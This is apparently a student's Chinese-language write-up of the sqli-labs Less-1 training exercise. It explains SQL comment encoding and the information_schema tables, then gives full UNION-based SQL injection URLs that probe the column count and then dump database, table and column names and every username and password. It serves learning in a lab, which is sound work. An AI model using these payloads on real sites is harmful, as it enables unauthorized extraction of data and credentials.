sqli-labs Less-1

大一开学面试校科协计算机部时,舒畅学姐给我出的题就是sql注入,一年多以后,我终于做出我的第一个sql注入题。
先分享一个wp
https://www.jianshu.com/p/875d95f8d3cf

  1. sql中的注释一般为#--(注意减号后有空格)。但#号在url中有其他含义,不能直接使用,通常使用其url编码%23--也有同样的问题,末尾空格在传输时会被删去,所以一般用--+代替因为+会被编码为空格。
  • information_schema,系统数据库,包含所有数据库相关信息。
  • information_schema.schemata中schema_name列,字段为所有数据库名称。
  • information_schema.tables中table_name列对应数据库所有表名,其中table_schema列是所有数据库名。
  • information_schema.columns中,column_name列对应所有列名,其中table_schema列也对应所有数据库名,table_name列也对应所有表名。
  1. 联合查询时需要将前面的查询结果限定为空集,后面的查询结果才能显示出来。
  2. group_concat()函数用法

首先进入sqli-labs/Less-1看到页面如下:

sqli-labs Less-1_第1张图片
1.png

提示要提交参数 id
sqli-labs Less-1_第2张图片
2.png

提交后发现回显了用户名和密码
我们在参数中加入',发现如下报错:
sqli-labs Less-1_第3张图片
3.png

通过报错可知可能是因为引号未闭合,同时可以发现sql语句存在limit语句限制返回第一条查询结果。
首先通过order by(排序)语句判断sql查询列数:
构造url:
http://sqli-labs.whye.xyz/Less-1/?id=1' order by 3 %23
http://sqli-labs.whye.xyz/Less-1/?id=1' order by 4 %23
结果分别如下:
sqli-labs Less-1_第4张图片
4.png

sqli-labs Less-1_第5张图片
5.png

order by 3时正常回显,order by 4时出现报错可知一共查询了3列,但回显只有name和password两个,因此构造url查看回显的列:
http://sqli-labs.whye.xyz/Less-1/?id=0' union select 1,2,3 %23
sqli-labs Less-1_第6张图片
6.png

可以看到查询的2,3列被回显,因此构造url查询数据库名:
http://sqli-labs.whye.xyz/Less-1/?id=0' union select 1,group_concat(schema_name) ,3 from information_schema.schemata %23
sqli-labs Less-1_第7张图片
7.png

构造url查询security库(查询其他库方法一样,最后可以发现security库是储存用户信息的库):
http://sqli-labs.whye.xyz/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' %23
sqli-labs Less-1_第8张图片
8.png

构造url查询users表(查询其他表方法一样,最后可以发现users表是储存用户信息的表):
http://sqli-labs.whye.xyz/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
sqli-labs Less-1_第9张图片
9.png

可以看到该表有三个列,其中username和password为查询后回显的列,构造url:
http://sqli-labs.whye.xyz/Less-1/?id=0' union select 1,group_concat(username),group_concat(password) from users%23
sqli-labs Less-1_第10张图片
10.png

查询到所有用户的用户名和密码。

你可能感兴趣的:(sqli-labs Less-1)